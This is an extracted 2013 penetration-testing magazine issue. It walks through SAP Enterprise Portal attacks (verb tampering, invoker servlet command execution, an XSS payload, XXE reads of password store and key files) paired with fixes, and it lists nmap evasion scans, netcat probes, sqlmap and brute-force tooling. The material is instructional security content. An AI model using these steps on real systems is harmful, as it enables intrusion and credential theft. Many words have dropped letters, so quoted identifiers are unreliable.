You are on page 1of 76

Cyber Security Auditing Software

Improve your Firewall Auditing


As a penetration tester you have to be an expert in multiple technologies. Typically you are auditing systems installed and maintained by experienced people, often protective of their own methods and technologies. On any particular assessment testers may have to perform an analysis of Windows systems, UNIX systems, web applications, databases, wireless networking and a variety of network protocols and firewall devices. Any security issues identified within those technologies will then have to be explained in a way that both management and system maintainers can understand.
he network scanning phase of a penetration assessment will quickly identify a number of security weaknesses and services running on the scanned systems. This enables a tester to quickly focus on potentially vulnerable systems and services using a variety of tools that are designed to probe and examine them in more detail e.g. web service query tools. However this is only part of the picture and a more thorough analysis of most systems will involve having administrative access in order to examine in detail how they have been configured. In the case of firewalls, switches, routers and other infrastructure devices this could mean manually reviewing the configuration files saved from a wide variety of devices. Although various tools exist that can examine some elements of a configuration, the assessment would typically end up being a largely manual process. Nipper Studio is a tool that enables penetration testers, and non-security professionals, to quickly perform a detailed analysis of network infrastructure devices. Nipper Studio does this by examining the actual configuration of the device, enabling a much more comprehensive and precise audit than a scanner could ever achieve.
www.titania.com

With Nipper Studio penetration testers can be experts in every device that the software supports, giving them the ability to identify device, version and configuration specific issues without having to manually reference multiple sources of information. With support for around 100 firewalls, routers, switches and other infrastructure devices, you can speed up the audit process without compromising the detail.

You can customize the audit policy for your customers specific requirements (e.g. password policy), audit the device to that policy and then create the report detailing the issues identified. The reports can include device specific mitigation actions and be customized with your own companies styling. Each report can then be saved in a variety of formats for management of the issues. Why not see for yourself, evaluate for free at titania.com

Ian has been working with leading global organizations and government agencies to help improve computer security for more than a decade.
He has been accredited by CESG for his security and team leading expertise for over 5 years. In 2009 Ian Whiting founded Titania with the aim of producing security auditing software products that can be used by non-security specialists and provide the detailed analysis that traditionally only an experienced penetration tester could achieve. Today Titanias products are used in over 40 countries by government and military agencies, financial institutions, telecommunications companies, national infrastructure organizations and auditing companies, to help them secure critical systems.
www.titania.com

Dear PenTest Readers,

ong time has passed since we have prepared something THAT special for members without a subscription! After long and profound research, we have created a beatiful OPEN issue. This time we have mainly focused on attack scenarios, as we know that you love it. However, remember - do not hurt anyone!

Editor in Chief: Ewa Duranc ewa.duranc@pentestmag.com Managing Editor: Michael Rogaczewski rogaczewski.michal@pentestmag.com Editorial Advisory Board: Jeff Weaver, Rebecca Wynn, William F. Slater, III Betatesters & Proofreaders: Ayo Tayo Balogun, Juan Bidini, Mychael Brown, Elliot Bujan, Massimo Buso, Aidan Carty, Stephanie Castille, Amit Chugh, Gregory Chrysanthou, Amitay Dan, Dan Dieterle, Ewa Duranc, Pinto Elia, Dalibor Filipovic, Pilo Dx, Zbigniew Fiona, Nitin Goplani, Alexander Groisman, Mardian Gunawan, Hani Ragab Hassen, Jos Luis Herrera, Steve Hodge, David Jardin, Laney Kehel, Kyle Kennedy, David Kosorok, Gilles Lami, Mateo Martinez, Matteo Massaro, Dallas Moore, L. Motz, Michael Munt, Varun Nair, Phil Patrick, Davide Quarta, Sagar Rahalkar, Santosh Kumar Rana, Inaki Rodriguez, Micha Rogaczewski, Tahir Saleem, Robin Schroeder, Tim Singletary, Vinoth Sivasubramanian, David Small, Jeff Smith, Johan Snyman, Craig Thornton, Arnoud Tijssen, John J. Trinckes, Jakub Walczak, John Webb, Steven Wierckx, Lotfi Yassa and others Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Without their assistance there would not be a PenTest magazine. Senior Consultant/Publisher: Pawe Marciniak CEO: Ewa Dudzic ewa.dudzic@software.com.pl Production Director: Andrzej Kuca andrzej.kuca@software.com.pl Art Director: Ireneusz Pogroszewski ireneusz.pogroszewski@software.com.pl DTP: Ireneusz Pogroszewski Publisher: Hakin9 Media SK 02-676 Warsaw, Poland Postepu 17D Phone: 1 917 338 3631 www.pentestmag.com Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes. All rights to trade marks presented in the magazine are reserved by the companies which own them.

Most of included scenarios use BackTrack or Kali Linux. Even thought almost everybody knows this tools inside-out, we still hope that you will learn a lot of new things. Articles describe such techniques as bypassing new generation firewalls, taking over an active directory and hacking sap enterprise portal. We are certain everyone will find something interesting in this publication. If you are reading these words right now, you may send us an email with your impressions on this publication. We need some feedback, so we can create more and better issues each time. As there is not much to add, we will leave you with this brilliant lecture. Enjoy the reading! Michael Rogaczewski & PenTest Team

DISCLAIMER!

The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

OPEN 08/2013

Page

http://pentestmag.com

CONTENTS

08Hacking SAP Enterprise Portal


by Dmitry Chastukhin

Business applications have been and will always be the cherished goal of cybercriminals attacks. Such actions can have many purposes: industrial espionage, the desire to cause financial or reputational losses, sale of critical information. In this article, I would like to tell in detail how a potential attacker can attack one of the most popular modules of the SAP ERP system: SAP Enterprise Portal, and how such attacks can be avoided. FROM: PenTest REGULAR 06/2013

32Blackhat Recon With Wireshark


by Lee Alexander King
FROM: PenTest EXTRA 06/2013

On unknown networks and black hat testing, Wireshark is a must-have tool to find critical information about your surroundings, infrastructure and potential vulnerabilities. Find out more together with Lee Alexander King.

new generation Firewalls 40Bypassing with Meterpreter and SSH Tunnels


by Ignacio Sorribas
In this article we seen how in some cases the firewall detects malicious code and is capable of blocking the connections, but also demonstrated how easy it is to bypass this restriction. FROM: PenTest EXTRA 05/2013

Attack Patterns in Penetration 16Common Testing


by Sumit Agarwal
A penetration testing project for assessing overall security of an organization covers testing of various aspects and layers of its security infrastructure. The idea of a pentest is not just to check the existence of controls but to evaluate the sufficiency and appropriateness of these controls. FROM: PenTest REGULAR 06/2013

48Taking Over an Active Directory


by Gilad Ofir

POST-Method CSRF 26Automating Attacks


by Justin Hutchens
Cross-Site Request Forgery is often compared to XSS (Cross-Site Scripting), but reallythis isnt accurate. XSS exploits a vulnerability on a target server to access, manipulate, and exploit data on the client-side. FROM: PenTest WEBAPP 01/2013

As Pentesters and Security Specialists, we often come across a need to secure infrastructure. This need is caused by the fact that our systems are constantly at risk from either internal or external attacks. The attack, which is demonstrated in the article, presents a simple scenario where an attacker does a simple takeover of an active directory while using only backtrack and our knowledge, of course. FROM: PenTest EXTRA 03/2013

Internet Explorer Same ID Property 54MS Remote Code Execution Vulnerability


by Praveen Parihar
In this article you will learn about concepts behind Internet Explorer memory corruption, what kinds of bypass techniques are used to launch buffer overflows, heap based and stack overflow attacks and return oriented programming concepts to exploit remote code execution vulnerabilities. FROM: PenTest EXTRA 03/2013

OPEN 08/2013

Page

http://pentestmag.com

CONTENTS

58Pass-The-Hash Attacks
by Christopher Ashby

Pass-The-Hash (PTH) is a post exploitation attack technique that is used to obtain user account hashes from either client workstations or domain servers and then use this information to elevate privileges and/or create new authenticated sessions. The technique is used after the attacker has gained access to your environment; special attention to the risk should be raised with regards to protecting yourself against malicious insiders or rouge employees. FROM: PenTest EXTRA 02/2013

64

From SQLi in Oracle to Remote Execution


by Jose Selvi

[ GEEKED AT BIRTH ]

SQL Injection is one of the most common vulnerabilities you can find in webapps. In fact, it is the number 1 vulnerability on the famous OWASP Top 10. As you probably know, SQL Injection can be exploited in order to get all the information stored in a database, but that is not all we can do with this kind of vulnerability. Databases are complex systems and can be configured wrong or be outdated. In this article the author writes about one possible target scenario: a SQL Injection that allows us to execute SQL statements on an Oracle 11g database in order to exploit its vulnerabilities and achieve a complete system pwning. FROM: PenTest EXTRA 01/2013

You can talk the talk. Can you walk the walk?

70

How to Detect SQL Injection Vulnerabilities in SOAP

[ ITS IN YOUR DNA ]


LEARN: Advancing Computer Science Artificial Life Programming Digital Media Digital Video Enterprise Software Development Game Art and Animation Game Design Game Programming Human-Computer Interaction Network Engineering Network Security Open Source Technologies Robotics and Embedded Systems Serious Game and Simulation Strategic Technology Development Technology Forensics Technology Product Design Technology Studies Virtual Modeling and Design Web and Social Media Technologies

by Francesco Perna and Pietro Minniti

SQL Injections are a well known topic in web application security. So, why another article about that? Because not all the SQL injections are so obvious, and pentesters often look for them only inside the web application GET/ POST requests. In this article, the author writes about a real world example, where the automated vulnerability scanner tools failed to detect the SQL injection vulnerability residing inside the SOAP web services code, invoked by an MDI Windows application. Particularly, he describes the vulnerability exploitation phases starting from the detection to the database data acquisition using the commonly available tools. FROM: PenTest EXTRA 01/2013

www.uat.edu > 877.UAT.GEEK


OPEN 08/2013
Please see www.uat.edu/fastfacts for the latest information about degree program performance, placement and costs.

Hking SAP Enterprise Portal


Business applications have been and will always be the cherished goal of cybercriminals attacks. Such actions can have many purposes: industrial espionage, the desire to cause financial or reputational losses, sale of critical information. As a general rule, all attacks on business applications and systems are targeted, and are performed by quite qualified people.

Article comes from Pen Test REGULAR. Download the complete issue.

n this article, I would like to tell in detail how a potential attacker can attack one of the most popular modules of the SAP ERP system: SAP Enterprise Portal, and how such attacks can be avoided. SAP Enterprise Portal (EP) is the main system entry point for all users in the enterprise network. Portal, as a rule, is used within a company as the place where both public information (including company news, employee data, and so on) and private data (internal documents, instructions, and orders) is stored and processed. Portal is also the place where network users can carry out their duties: edit documents, hold meetings and discussions, manage users, or work with necessary tables. A distinctive feature of SAP Portal is that it is linked to almost all of the other SAP components deployed in the corporate network, so compromising SAP Portal will lead not only to compromising all of the information it contains, but also to turning it into a kind of springboard for further attacks of the hacker. It is important to note that access to SAP EP can often be obtained from the Internet. This property of the module dispels the myth that SAP is not accessible from the Internet. For example, using a simple Google Drk: inurl: /irj/portal, you can find a large number of SAP EPs available for connection (Figure 1).
OPEN 08/2013

Figure 1. Accessing EPs from Google

You can also use the Shdn search engine, which can as easily detect available SAP EPs (Figure 2).

Figure 2. Searching for EPs via Shodan

Page 8

http://pentestmag.com

There is shortage of 5,00,000 information security professionals in India according to the National Cyber Security Policy, 2013. The Ground Zero Summit, Asias largest Information Security Summit, promoted by the Information security Consortium is the first step towards securing our cyber frontiers.

Be there, Register Today.


Prominent speakers presenting at the summit are:

Keynote Speakers

International Speakers

Dr. Gulshan Rai, Director, CERT In Dr. Nirmaljeet Singh Kalsi, Ministry of
Home Affairs, Government of India

Alexander Polyakov, CTO, ERPSCAN Enrique Patricio Calot, CEO, Cloodie SA Filol Eric, Head of Research, ESIEA CVO LAB
And many more
Academia Partner Supporting Associations

Capt. Raghu Ram, CEO,


National Intelligence Grid (Natgrid)
Platinum Partner Gold Partner

Media Partner

Online Media Partner

Produced by

Executed by

THE BUSINESS VALUE OF TECHNOLOGY

For delegate contact: Lokesh Bhardwaj | M: +91 95882 11188, +91 99208 42798 | E: lokesh.bhardwaj@g0s.org

The popularity of SAP EP and its availability on the Internet makes it a desirable entry point for hackers who are choosing the spot to attack companies of various size and industry. Lets take a look at SAP Portal in more detail.

Architecture

In order to understand specific attacks on SAP EP, you should first look at its architecture, shown in Figure 3. As can be seen on the scheme, the system is based on Web Application Server (SAP J2EE), which provides the context where Portal operates. EP itself is a platform where all kinds of entities operate. The foremost of them are iViews, Applications, web services, and single Components. The scheme shows that SAP Portal has links to the database where data is stored, as well as to many other SAP components and models. Now that you can picture the basic architectural layout, let us move on to the possible Portal attack vectors. SAP Portal attacks SAP NetWeaver J2EE Verb Tampering

Since SAP NetWeaver J2EE is the basis of SAP EP, it is important to understand how an attacker can compromise J2EE. It requires understanding some nuances of how J2EE applications operate. Access to applications running on J2EE is defined by the developers using the descriptor file called web.xml. An example of such descriptor file follows in Listing 1. Lets take a closer look. The most important tags in this file are: servlet-name, defining the name of the servlet; http-method, which defines the HTTP method used to access the servlet, and role-name, which defines the necessary role to access the servlet. Thus, in order to access the servlet CritilAtin, a user must make a get request and have the role administrator. However, authentication can be bypassed in this case. The issue is that, if a user makes a request which is not GET, the user role will not be checked. Developers, as a rule, restrict access to the application for GET and POST methods, but typically forget about the HEAD method, which is similar to GET, except for one difference it does not return the body of the server

Figure 3. SAP EP architecture


OPEN 08/2013 Page 10

http://pentestmag.com

Listing 1. web.xml descriptor file


<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical. Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servletname> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</webresource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>

response. However, if an attacker finds an application that does not require server responses, he may try exploiting this error. For example, he can use a servlet known as CTC, which requires authentication when using GET and POST methods and allows managing users in SAP Portal: creating, deleting users, moving them from group to group. This is quite suitable for the attacker because in a request to create a user, it is important to send the request rather than to receive the response. Thus, using only two requests to SAP Portal, the attacker can gain administrative access to the SAP system: Create a new user blabla with a password blbl Add the user to the group Administrators This type of attack is called Verb Tampering. To secure your system: Install SAP notes: 1503579, 1616259. Check all web.xml files. This can be done using the ERPSn WEB.XML Checker utility. More details on Verb Tampering are available in Metasploit and ERPScan Pentesting Tool. Invoker Servlet Lets take a look at web.xml once again (Listing 2). Pay attention to another important tag: url-pattern, which describes the URI to access the servlet. So if a user makes a get request to the URI /admin/critical/CritilAtin, they will have access to the CritilAtin servlet, if they have the role administrator. However, an attacker can bypass authentication and access the servlet here as well. The issue is that the InvkerServlet mechanism is enabled in SAP by default, which allows calling servlets by specially formed links. So an attacker can call the servlet CritilAtin by the URI /servlet/com.sap. admin.critical.action and get access having no role because this URI does not match the one specified in url-pattern. To attack actual SAP systems, an attacker can again use the CTC servlet. In addition to user control, it allows executing commands in the OS where SAP Portal operates, for example, create user. Figure 4 shows the ipconfig command executed on the SAP Portal server.

Listing 2. web.xml
<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical. Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servletname> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</webresource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>HEAD</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>

OPEN 08/2013

Page 11

http://pentestmag.com

Developers ought to be very careful when defining Safety Level because it is the only thing which will be checked if a user calls, for example, an iView by direct URL:
/irj/servlet/prt/portal/prtroot/<iView_ID>

In SAP EP, a range of applications was found with Safety Level = No Safety, containing critical functions or vulnerabilities of various kinds. To secure your system: Check the Safety Level settings in your applications Use SAP guidelines: http://help.sap.com/saphelp_nw70/helpdata/ en/25/85de55a94c4b5fa7a2d74e8ed201b0/ frameset.htm http://help.sap.com/saphelp_nw70/helpdata/ en/f6/2604db05fd11d7b84200047582c9f7/ frameset.htm

Figure 4. ipconfig command executed on the SAP Portal server

To secure your system: Install SAP notes: 1467771, 1445998 Check all web.xml files. This can be done using the ERPSn WEB.XML Checker utility.

XSS

Portal Security Zone

Lets move on to possible attacks aimed directly at the Portal. EP has an entity called Security Zone which serves as an additional tool to configure access to Portal programs (iViews). The zones are defined for each application in the descriptor file prtlpps.xml. They have such a critical parameter as Safety Level, which is responsible for the level of access to the application. There are 4 Safety Levels: No Safety Anonymous users are permitted to access portal components defined in the security zone. Low Safety A user must be at least an authenticated portal user to access portal components defined in the security zone. Medium Safety A user must be assigned to a particular portal role that is authorized to access portal components defined in the security zone High Safety A user must be assigned to a portal role with higher administrative rights that is authorized to access portal components defined in the security zone
OPEN 08/2013

SAP EP is a web application, so it is liable to all vulnerabilities which are characteristic of web applications. One of them is cross-site scripting (XSS). However, in contrast to the classical payload for this kind of attacks, during an attack on Portal an attacker can use the specific features of EP: for example, the EPCF technology which allows accessing user data through a special JavaScript API. An example of such payload:
alert(EPCM.loadClientData(urn:com.sap. myObjects, person);

To secure your system: Install SAP notes: 1656549. It is yet another classic attack on web applications. Sometimes, however, it has its own special features: for example, directory traversal is not performed by the classic characters / .. /, but rather by ! 252f.. ! 252f. To secure your system: Install SAP notes: 1630293. It is also a classical attack on XML transport web applications. Because XML is one of the main transports in SAP Enterprise Portal, a potential attacker may attempt to compromise the system
http://pentestmag.com

Directory traversal

XML External Entity

Page 12

through it. This section will describe how an attacker can gain administrative access to SAP EP. Such an attack is based on the fact that SAP has a special password storage called SAP Security Storage, which is located in the file SeStre. prperties. Passwords are encrypted, but the key

to decrypt them is located in the same directory as the passwords (in the file SeStre.key). So if an attacker is able to read these files, they will be able to decrypt passwords and gain administrative access to Portal. This attack can be carried out in several stages:

Figure 5. XXE request to Portal as seen in a sniffer

Figure 6. XML found in the XXE request to Portal

Figure 7. Reading files from the SAP Portal server using an XXE vulnerability
OPEN 08/2013 Page 13

http://pentestmag.com

Find a vulnerability that allows you to read files on the SAP Portal server. Read the file SeStre.prperties with encrypted passwords. Read the file SeStre.key with the key to decrypt passwords. Decrypt the administrative password and gain access to SAP EP. The vulnerability to allow reading files from the SAP EP server can be one of the previously described bugs. It can be Directory Traversal or Command Execution. I would like to demonstrate XML eXternal Entity (XXE) separately. Figure 5 shows how a typical request to Portal looks in a sniffer. You can see a great number of parameters in the POST request, and, if we look closer, we will find XML in one of the parameters (Figure 6). It is where we will implement the request which will return the content of the files SeStre. prperties and SeStre.key. After the files are successfully read, they can be decrypted with the utility ERPSn SeStre descriptor. To do this, launch the SeStre_Cr.jar file in the same directory where the passwords and key files received from the server are located, and specify the SID of the system. As a result of its work, the utility displays the decrypted passwords and other service information (Figure 8).

ground for further action. Portal stores a lot of documents, so using a simple internal search mechanism and queries like secret or password, an attacker can learn a lot of confidential information (Figure 9).

Figure 9. Portals internal search engine shows results for password

To secure your system: restrict read access to important or sensitive information stored in SAP EP.

Conclusion

Figure 8. SecStore_Cr.jar file decrypting passwords and other info

SAP Enterprise Portal is the most interesting target for hackers who aim to gain access to corporate data because of the popularity of this SAP module. This is why its security undoubtedly requires increased attention to be paid both by system administrators and the developers, and even by common users. PS: All the vulnerabilities presented in this article have been fixed in cooperation with SAPs Product Security Response Team more than a year ago. PPS: Not all the possible attacks on SAP EP are described in this article, but all the latest information related to the security of the SAP ERP system is available at http://erpsn.m.

To secure your system: Install SAP note 1619539 Restrict read access to files SecStore.properties and SecStore.key Information Disclosure SAP Portal is shipped with many services, which can be used by hackers to obtain information when planning attacks on the system. However, there may be other vectors of attack development. For example, an attacker could use Portal as the
OPEN 08/2013

Director of SAP Pentesting Department (d.hstuhin@ erpsn.com).


http://pentestmag.com

DmiTRY ChasTUKhiN

Page 14

Common Attack Patterns in Penetration Testing


Invincibility lies in the defence; the possibility of victory in the attack -Sun Tzu

Article comes from Pen Test REGULAR. Download the complete issue.

penetration testing project for assessing overall security of an organization covers testing of various aspects and layers of its security infrastructure. The idea of a pentest is not just to check the existence of controls but to evaluate the sufficiency and appropriateness of these controls. It is often observed that multi national companies invest quite a lot in wide-ranging fancy security products without evaluating their appropriateness. These fancy solutions however provide a false sense of security and leave many holes unplugged. A security infrastructure when not aligned with the organizations business needs fails to reap desired return on investment. Mostly, the concept of layered defence is misinterpreted as putting a number of security measures one after the other to act as a backup in case one fails. Such plans often cater for multiple failure possibilities but leave out safeguarding multiple entry points. The actual idea of layered defence is implementation of appropriate controls at various vulnerable entry points such that all identified weaknesses are sufficiently safeguarded.
OPEN 08/2013

Hence that general is skillful in attack whose opponent does not know what to defend; and he is skillful in defense whose opponent does not know what to attack -Sun Tzu

Multi-Pronged Attack Methodology

A multi-pronged attack methodology looks for possible weaknesses at various layers of security. The robustness and efficiency of layered defence is put to test for finding an entry point. Sometimes, it is as easy as finding an unprotected entry point or a security control in its default configuration but most of the times it requires proper planning and thorough knowledge of the environment to bypass the safeguards and break through. The model of a multi-pronged attack methodology to penetrate a layered security architecture is depicted in Figure 1.

Attacking ISO 7498-2

Another approach for breaking through a layered security can be thought of keeping the OSI Security
http://pentestmag.com

Page 16

architecture reference model (ISO 7498-2) in perspective (Figure 2)

Attack Patterns in Penetration Testing

stages. Any mistake in information gathering or analysis may compromise the complete pentesting assignment. Information gathering involves

In order to identify weakness and blow holes in a robust security architecture with layered defence, it is important to have complete understanding of the environment. A typical penetration testing attack is carried out in three phases (Figure 3).

Nobody ever defended anything successfully, there is only attack and attack and attack some more. - George S. Patton

PenTest Case Study


See Figure 4.

Information Gathering

Information gathering is the most critical and most time consuming phase of the penetration test. This phase prepares the ground for the pentester to launch appropriate scans and exploits at later

Figure 2. Attacking OSI layers

Figure 1. Multi-pronged attack methodology


OPEN 08/2013 Page 17

http://pentestmag.com

Listing 1. Using Netca


nc -v 172.26.1.2 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Content-Length: 230 Content-Type: text/html Content-Location: http://172.26.1.2/MyWebInterface.htm Last-Modified: Sat, 29 Aug 2013 16:03:16 GMT Accept-Ranges: bytes ETag: 9a34bcfd0a023:41a2 Server: Microsoft-IIS/6.0 MicrosoftOfficeWebServer: 5.0_Pub X-Powered-By: ASP.NET Date: Fri, 13 Sep 2013 22:10:40 GMT Connection: close

Figure 3. Phases of a Typical PenTest

harvesting of complete information about the target network, platform, and environment. HTTP Banner Grabbing Http headers can provide quite a lot of information about a Web Server. For example, web-server/ version, web application, Allowed Http Methods, etc.

Figure 4. Network Diagram of a PenTest Scenario


OPEN 08/2013 Page 18

http://pentestmag.com

Using Netcat See Listing 1. Using Telnet See Listing 2. Mapping the Network (in case of publically accessible web servers). Using Whois
whois <domain-name> whois <ip-address>

This will provide information about domain registrar, network range, net-block owner information, and administrators information like name, contact number, and e-mail ids in some cases. Using Nslookup
nslookup <domain-name>

This will query DNS Server to obtain IP address mapping and DNS record information.
nslookup q=mx <domain-name>

Listing 2. Using Telnet


telnet 172.26.1.2 80 Trying 172.26.1.2 Connected to 172.26.1.2. Escape character is ^]. HEAD / HTTP/1.0 HTTP/1.1 200 OK Cache-Control: private Content-Length: 1777 Content-Type: text/html Server: Microsoft-IIS/6.0 Set-Cookie: ASPSESSIONIDACBATBQQ=MYAASDJOASR TWD; path=/ X-Powered-By: ASP.NET Date: Fri, 13 Sep 2013 22:10:40 GMT Connection: close Connection closed by foreign host telnet 172.26.1.2 80 Trying 172.26.1.2 Connected to 172.26.1.2. Escape character is ^]. OPTIONS / HTTP/1.0 HTTP/1.1 200 OK Allow: OPTIONS, TRACE, GET, HEAD, PUT, COPY, SEARCH, POST Server: Microsoft-IIS/6.0 Public: OPTIONS, TRACE, GET, HEAD, PUT, COPY, SEARCH, POST X-Powered-By: ASP.NET Date: Fri, 13 Sep 2013 22:10:40 GMT Connection: close Content-Length: 0 Connection closed by foreign host.

This will obtain the MX (Mail Exchange) record information for the particular domain. Using Dig
Dig <domain-name> mx

This will fetch the MX record information of the target domain. Querying SMTP Server
telnet 172.26.1.6 25

This will fetch the SMTP banner information. Internal network topology can be discovered by forwarding an e-mail to a non-existent user in the domain and then analyzing headers of the bounced mail. The header information will reveal ip addresses of servers through the mail path. Using Traceroute
tracert <domain-name> tracert <ip-address>

This will trace the complete route which a packet traverses to reach the destination. The traceroute information also gives an idea where network devices/routers/firewalls are placed in the path. To tal number of hops required to reach destination is also revealed by traceroute. This information when analyzed in conjunction with the TTL(Time To Live) information obtained from pinging the target will help in identifying the operating system of the target host.

OPEN 08/2013

Page 19

http://pentestmag.com

Host Discovery with Nmap

Scenario 1: Firewall with No Filtering


pass from any to any Nmap Command: \ > nmap sP 172.26.1.0/29

Result: Only Web Server gets detected (TCP pings for port 80 on 172.126.1.2 gets through). Scenario 4: Stateful Firewall with Specific Rules
pass from any keep state pass from any keep state pass from any keep state drop all Nmap Command: to 172.126.1.2 proto tcp port 80 to 172.126.1.4 proto tcp port 53 to 172.126.1.6 proto tcp port 25

Result: All hosts found. Scenario 2: Firewall with Generic Rule Set
pass from any to any proto tcp port 80/25/53 drop all Nmap Command: \ > nmap sP 172.26.1.0/29

\ > nmap sP 172.26.1.0/29

Result: Still all hosts found (TCP pings for port 80 get through, ICMP packets are blocked). Scenario 3: Firewall with Specific Rules
pass pass pass drop Nmap from any from any from any all Command: to 172.126.1.2 proto tcp port 80 to 172.126.1.4 proto tcp port 53 to 172.126.1.6 proto tcp port 25 \ > nmap sP 172.26.1.0/29

Result: No hosts found (ICMP dropped, TCP Ack packets dropped because they are not part of any previously established connection). Solution for scenarios 3, 4
Nmap Command: \ > nmap sP PS25,53,80 172.26.1.0/29

Result: 03 hosts found (passes stateful firewall as -PS option sets the SYN flag instead of Ack).

Listing 3. OS detection with nmap


nmap O 172.26.1.10 Starting Nmap ( http://nmap.org ) Nmap scan report for 172.26.1.10 Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 646/tcp filtered ldp 1720/tcp filtered H.323/Q.931 9929/tcp open nping-echo 31337/tcp open Elite Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6.39 OS details: Linux 2.6.39 Uptime guess: 1.674 days (since Mon Sep 9 12:03:04 2013) Network Distance: 10 hops TCP Sequence Prediction: Difficulty=205 (Good luck!) IP ID Sequence Generation: All zeros

Listing 4. Services and version detection with nmap


nmap sV 172.26.1.2 Starting Nmap ( http://nmap.org ) Nmap scan report for 172.26.1.2 Host is up (0.15s latency). Not shown: 992 closed ports PORT STATE SERVICE VERSION 80/tcp open http httpd 6.0

Microsoft IIS

nmap sV 172.26.1.6 Starting Nmap ( http://nmap.org ) Nmap scan report for 172.26.1.6 Host is up (0.016s latency). Not shown: 95 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.3 ((CentOS)) 113/tcp closed auth 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))

OPEN 08/2013

Page 20

http://pentestmag.com

Vulnerability Detection

This phase focuses on scanning of hosts for open ports and identifying vulnerable services running on them, and prepares the ground work for launching appropriate exploits in the exploitation phase. OS Detection with Nmap See Listing 3. Services and Version Detection with Nmap See Listing 4. Scanning a Firewall for Security Weaknesses A firewall may be blocking certain types of scans based on its rule set. Therefore, a pentester needs to probe it with unconventional scans which might get through a generic rule set. Once the allowed packet types are known, the internal network can be probed further.
TCP Null Scan: nmap sN 192.168.5.1 TCP FIN Scan: nmap sF 192.168.5.1 TCP X-MAS Scan: nmap sX 192.168.5.1

nmap f 10 192.168.5.1 nmap --mtu 32 192.168.5.1

This will split up the TCP header over several packets to bypass detection by packet filters/IDS (Intrusion Detection Systems). Vulnerability Scanning of Hosts with Nessus/ OpenVAS Vulnerability scanners like nessus and openvas provide a deep insight into weaknesses of the scanned hosts. These tools also map the criticality of weaknesses discovered on a scale of High, Medium, and Low along with CVE (Common Vulnerabilities and Exposures) and exploits. Web Application Scanning and Enumeration Web application scanning involves enumeration, testing, and analysis of application servers, web technologies, CMS(Content Management System), database server, authentication and authorization mechanisms, session management, injection flaws, and business layer logic. OWASP (Open Web Application Security Project) has classified various weaknesses/vulnerabilities associated with web applications under OWASP Top 10.

Scanning a Firewall for Packet Fragments In order to identify MTU size (Maximum Transmission Unit) allowed by the firewall, it can be probed with various packet fragment sizes.

Figure 5. Burpsuite web proxy


OPEN 08/2013 Page 21

http://pentestmag.com

Using Automated Scanning Tools: W3af / Acunetix / Netsparker A typical web application can be scanned for vulnerabilities by various automated scanning tools like w3af, acunetix, netsparker, and more. These tools probe the application with a variety of payloads for detecting well known vulnerabilities. The result of a probe is completely based on a typical response code/header/format. Therefore, such scans are prone to false positives and more worryingly, false negatives. Manual Probing Using Web-Proxies: ZAP/ Webscarab / Burpsuite Web proxies give the pentester privileges to intercept, analyze, tamper, and inject payloads in the requests/responses being communicated between clients browser and web application server. This approach empowers the pentester to test the application for entry points by manipulating request/response headers himself. Also, the business logic layer of the application can be manually evaluated unlike most automated tools. Brute-forcing Directory Paths Using Directorybuster DirBuster lists various accessible directories on a web server by brute forcing common directory names and paths. This tool often reveals some important configuration files/administrator files on a misconfigured web server (Figure 6).

python sqlmap.py -u http://172.26.1.2/page. php?id=5

This will test the url parameter id against a set of injection payloads. If the application is found vulnerable, the entire database can be accessed and taken over. Common CMS Enumeration Using wpscan/ joomscan/DPScan Enumeration of common CMS (Content Management Systems) versions and modules can be done by automated scripts/tools like Droopal, Joomla, or WordPress (Figure 7).

Figure 7. Content Management System Enumeration

Discovery of vulnerable CMS versions/modules may lead to complete web application exploitation and control at a later stage.

Exploitation

This is the final phase of a penetration testing attack, which involves exploitation of vulnerabilities discovered in previous phases. Successful exploitation will provide complete control of hosts to the pentester. Exploiting Default Configurations More often than not it is found that devices/systems/servers are left in their default configurations. A pentester shall look for default ports/services commonly used for remote administration of firewalls/network devices. A comprehensive list of default passwords for various devices can be found at www.routerpasswords.com. Once the control of firewall/device has been obtained, modifying Rulesets/ACLs and exploiting internal hosts is a cakewalk for the pentester. Not only network devices but servers are also prone to this misconfiguration flaw. A default CMS login or a publically accessible configuration file
http://pentestmag.com

Figure 6. Directory brute forcing by DirBuster

Testing for SQLI using Havij/Sqlmap Tools like havij and sqlmap enables the pentester to test the web application for potential SQLi (SQL Injection) flaws.
OPEN 08/2013

Page 22

discovered by DirBuster can give complete control of the web server to a pentester. Password Cracking In case there is no joy with default passwords, the password cracking approach may be resorted to. Dictionary attack or brute-forcing attack using tools like Hydra, Brutus, Medusa, and more, provides a pentester with privileged access to the application. These tools can also be configured to restart the brute force session after certain number of attempts so as to bypass the restriction of maximum invalid attempts in a particular session. Hash Cracking Exploiting a web application database with SQLi often provides passwords in the form of encrypted hashes. Such hashes can be broken using tools like Hashcat, Rainbow Tables, and others. Exploit Launching Based on vulnerabilities detected in the vulnerability scanning phase, relevant exploits can be launched on hosts using tools like Metasploit, Core Impact, Canvas, and more.
